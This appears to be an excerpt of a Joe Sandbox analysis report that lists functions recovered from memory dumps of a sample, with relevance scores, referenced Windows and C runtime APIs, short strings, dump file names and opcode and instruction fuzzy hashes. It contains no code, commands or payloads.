Opcode Fuzzy Hash: c0e190617163c3dd19e7d7bde7217b61051af7dff460e1047e7e8212624e0ce5
Instruction Fuzzy Hash: 08326071A056469FEB24CFA8C890BAEB7F6FF89744B14412DE506DB254E730E901CBB1

Function 6D055DD0 Relevance: 6.4, APIs: 4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 313dfbb147e5f45f41dab0490e768de3bc991367dd32f81ddf0586a4f97419d6
Instruction ID: ce49f7851eebd749eda3b32df7edddc2e89d16af2da038dddf2df7e42e2ee6d1
Opcode Fuzzy Hash: 313dfbb147e5f45f41dab0490e768de3bc991367dd32f81ddf0586a4f97419d6
Instruction Fuzzy Hash: D502AE704187A88FC744CF69C4B4A7EBBF1EBDA211F45090EE6F657292C334A568CB61

Function 6D055EB9 Relevance: 6.3, APIs: 4, Instructions: 318COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6D0562FC
_memmove.LIBCMT ref: 6D05632B
_memmove.LIBCMT ref: 6D05635A
_memmove.LIBCMT ref: 6D056389

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b682528a1a356f307816c10e90a5f4c8191f4f4e1c8c512b4258ca3bb685452a
Instruction ID: de51b802f36edc08d18ec08f56bd812aee9787ba761a87eafb94c84d029917a4
Opcode Fuzzy Hash: b682528a1a356f307816c10e90a5f4c8191f4f4e1c8c512b4258ca3bb685452a
Instruction Fuzzy Hash: 0BE1B0704187A88FC744CB69D8B4A7E7BF1EBDA211F49050EE6F5472A2D334A16CDB21

Function 05CC0930 Relevance: 5.3, Strings: 4, Instructions: 336COMMON

Download Yara Rule

Strings

HERE, xrefs: 05CC09B6
LOOK, xrefs: 05CC09B1
Gvq, xrefs: 05CC0D19
Gvq, xrefs: 05CC0BBB

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: HERE$LOOK$Gvq$Gvq
API String ID: 0-802966049
Opcode ID: 5da0c9cbf5c37495b3c826ea4ef293e657dbee9cc00221debb36c823e1270f60
Instruction ID: e905a2031ec4e25bcb6d6dd1b8e7b7a7d35d65c3e92086d25b04b5bb661083b9
Opcode Fuzzy Hash: 5da0c9cbf5c37495b3c826ea4ef293e657dbee9cc00221debb36c823e1270f60
Instruction Fuzzy Hash: 3EF1A074E452298FDB64DF69C988BDDBBF6BB48310F1486EAD409A7351DB309E808F50

Function 6D05DE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57encryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32(?,?,?,4E8A916F,00000000), ref: 6D05DE6F
__CxxThrowException@8.LIBCMT ref: 6D05DEB9

Part of subcall function 6D05DD20: CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,6D07F0E6,000000FF,6D05DF67,00000000,?), ref: 6D05DDB4

Strings

CryptGenRandom, xrefs: 6D05DE7B

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Crypt$ContextException@8RandomReleaseThrow
String ID: CryptGenRandom
API String ID: 1047471967-3616286655
Opcode ID: 0032278fb9318706af4ee3a85ed1815548db217c35f71a2afd16c45695f0bd83
Instruction ID: 64c8bbaf80c00c5b91ca6e0d7723e086e15e266aa72a0e8ecebaf47e5668e686
Opcode Fuzzy Hash: 0032278fb9318706af4ee3a85ed1815548db217c35f71a2afd16c45695f0bd83
Instruction Fuzzy Hash: E821387550C7849FE700DF28C554B5ABBF9FB89718F044A0EF85587281E774E504CBA2

Function 6D0563B0 Relevance: 5.1, APIs: 3, Instructions: 648COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6D056437

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d93d99bc1987f8eeaab4533189e5957cd0032092d7a21398ce956abb3b13e109
Instruction ID: c77111834550c14e902e420e4be8bc5cbdff1912c7f8e6d2e370a93f0bdbe04f
Opcode Fuzzy Hash: d93d99bc1987f8eeaab4533189e5957cd0032092d7a21398ce956abb3b13e109
Instruction Fuzzy Hash: 225202709046658FDB14CF29C0A067ABBF2EFCA311B58859DD8D68B386D334F556CBA0

Function 6D05D9D0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,4E8A916F,75A8FC30,?,00000000), ref: 6D05DA1A

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

Strings

operation failed with error , xrefs: 6D05DA49
OS_Rng: , xrefs: 6D05DA35

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastXinvalid_argumentstd::_
String ID: operation failed with error $OS_Rng:
API String ID: 406877150-700108173
Opcode ID: 0c89c0f62346d20a1ccac85d37f75faf5fd4223901853b31d1e2262bd4db99ca
Instruction ID: 9277f273219cbe38688ac8983514bcd65731878c615a6f7944449c4e685576fd
Opcode Fuzzy Hash: 0c89c0f62346d20a1ccac85d37f75faf5fd4223901853b31d1e2262bd4db99ca
Instruction Fuzzy Hash: 4D419DB150C380AFE720CF69D840B5BFBE9BF99654F11492EE18987241DB759404CB67

Function 054311E0 Relevance: 4.3, Strings: 3, Instructions: 513COMMON

Download Yara Rule

Strings

$^q, xrefs: 05431594
Hbq, xrefs: 05431634
$^q, xrefs: 05431588

Memory Dump Source

Source File: 00000000.00000002.1767288681.0000000005430000.00000040.00000800.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Hbq$$^q$$^q
API String ID: 0-1611274095
Opcode ID: c60b7fa8507da389638fd77c031dc569c7cff7c2b57fcd85a9ce9f85bcce069f
Instruction ID: 203261d03e406eb818bf263acb1e3a3864777c81b301bd14c15080d833a5c53d
Opcode Fuzzy Hash: c60b7fa8507da389638fd77c031dc569c7cff7c2b57fcd85a9ce9f85bcce069f
Instruction Fuzzy Hash: CC027070F041198BCB18DFA9D4956EEBBF7BF89700F24956AD416AB360DF349802CB91

Function 6D061CA0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6D061E1D

Part of subcall function 6D069533: std::exception::_Copy_str.LIBCMT ref: 6D06954E

__CxxThrowException@8.LIBCMT ref: 6D061E32

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID:
API String ID: 757275642-0
Opcode ID: 900012ff7bfa26aae8367a215ebe62165a417b690c1a80d13971c99106d3638f
Instruction ID: cab9303e3d25ec35beb2ae31c15932f0363a8ee29092244e1529eacdfb82191f
Opcode Fuzzy Hash: 900012ff7bfa26aae8367a215ebe62165a417b690c1a80d13971c99106d3638f
Instruction Fuzzy Hash: 3D327471E046469FEB18CFA8C890BAEB7F6BF89744B15811DE515DB350EB30E901CBA1

Function 6D070B89 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3519545e4d37b1634e4cc69c6eca3e226d71d66ad24bfafd5cdd57da684819ee
Instruction ID: e5a495549ababff1bdd40ed144e01f1eb0b87d1cc3eecd3c63e264589de63ac1
Opcode Fuzzy Hash: 3519545e4d37b1634e4cc69c6eca3e226d71d66ad24bfafd5cdd57da684819ee
Instruction Fuzzy Hash: D2320521D29F424DEB239634C83233662ADAFB73D5F15D727F829BAD95EB29C4834101

Function 6D05DEE0 Relevance: 1.6, APIs: 1, Instructions: 71encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 6D004760: __CxxThrowException@8.LIBCMT ref: 6D0047F9

CryptReleaseContext.ADVAPI32(?,00000000,00000000,?), ref: 6D05DF7B

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ContextCryptException@8ReleaseThrow
String ID:
API String ID: 3140249258-0
Opcode ID: 657b05e357bef6905133635425ead24ba09743d4c52ca5111a9c863f2813b2c5
Instruction ID: a828e3886ae827a2da9d1f469bcbcee9d27b4d67cb63490190bc28af94235dc0
Opcode Fuzzy Hash: 657b05e357bef6905133635425ead24ba09743d4c52ca5111a9c863f2813b2c5
Instruction Fuzzy Hash: 6521B0B590C341ABE700DF15D940B5BBBE8EB9A768F050A2DF94583381E771E508CBA3

Function 6D05DD20 Relevance: 1.6, APIs: 1, Instructions: 66encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,6D07F0E6,000000FF,6D05DF67,00000000,?), ref: 6D05DDB4

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 5190266fa286dddce77a4c2e72c7440ee71cb92f3dba262f9dc407aae5f28f73
Instruction ID: 42305e8fdeec4bdb0f6187014d702bc460eec7c3eb5542a8a7ad3158e9e6995c
Opcode Fuzzy Hash: 5190266fa286dddce77a4c2e72c7440ee71cb92f3dba262f9dc407aae5f28f73
Instruction Fuzzy Hash: BC11E9B1A08B929BFB10CF18DA8072A77F8E745750F08052AED16C7781EB75D404CBB1

Function 6D0835E0 Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6D0835F5

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 86212cb3e66c49b0dd0ef45fd6bb41584ed14dbb5a7a57f08614b59ddb8d9d7e
Instruction ID: e085cdcd6a6d12fe515171971ee118c7a1e1d252d9e2d3a176c5cf5dcd361749
Opcode Fuzzy Hash: 86212cb3e66c49b0dd0ef45fd6bb41584ed14dbb5a7a57f08614b59ddb8d9d7e
Instruction Fuzzy Hash: C4D05EB150195357FF108B68E915B5A32E89B0A640F0D0010E505DB181DF60D400CB64

Function 6D05D7F0 Relevance: 1.5, APIs: 1, Instructions: 17encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6D05D803

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 3e481982784d69fac66e52e2fb0e61dd8483ed95c51699f89a20e969ef8aab2d
Instruction ID: c42f6d2c72f6cf62da5c24afaab8695d2116ad26a089450c5270c4362516740c
Opcode Fuzzy Hash: 3e481982784d69fac66e52e2fb0e61dd8483ed95c51699f89a20e969ef8aab2d
Instruction Fuzzy Hash: 6ED02EB070425162FB209B14AD08B6776CC8F01B01F09443AF969C3280C7B0C440C6E9

Function 6D05D7D4 Relevance: 1.5, APIs: 1, Instructions: 9encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 6D05D7E0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 213f976cd23c2a2b7048d2f72015b4b40b038857f9c1d5e2d9444aed34bf5619
Instruction ID: 5165e7fafb63e40e5a9675a8a4f808045b74079140fe9fd355fd5728f7f954f1
Opcode Fuzzy Hash: 213f976cd23c2a2b7048d2f72015b4b40b038857f9c1d5e2d9444aed34bf5619
Instruction Fuzzy Hash: 15B0926099468922EF2487704A4EB9E2BA99746299F14088CE5062A08289E8C0128918

Function 6D055830 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

@, xrefs: 6D055A30

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 07de4eb244e2ff3cd8939d3392f65b9703b266e4d62fe2f20bf573b07609ee7d
Instruction ID: c278f055137df1678ca15460219e9dd24096311da78255505089229c562cb22b
Opcode Fuzzy Hash: 07de4eb244e2ff3cd8939d3392f65b9703b266e4d62fe2f20bf573b07609ee7d
Instruction Fuzzy Hash: B0915872818B868BE701CF2CC882ABAB7E0BFD9354F149B1DFDD462600EB759554C781

Function 02EB1090 Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02EB11BE

Memory Dump Source

Source File: 00000000.00000002.1763634407.0000000002EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2eb0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: bdc311da2f64bd3ccd4f44382cd9858365f322fcbd1cd75001d1f6d7ffc1f44e
Instruction ID: c534b26cb50c8edaef9df8eb1bf1ce5592441f8df0b57cec73c8d2e374c9856d
Opcode Fuzzy Hash: bdc311da2f64bd3ccd4f44382cd9858365f322fcbd1cd75001d1f6d7ffc1f44e
Instruction Fuzzy Hash: CC711A7190521A8FDB18EF6BE8907AEBBF2BBD4304F14C529C0459B368DB745949CF81

Function 6D07BFF1 Relevance: 1.4, Strings: 1, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

Strings

N@, xrefs: 6D07C001

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: N@
API String ID: 0-1509896676
Opcode ID: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction ID: 0c86e5de871b02ea97f5fd0f7ac578f10ffbbbd83f898faf2d45b13be77b9d9d
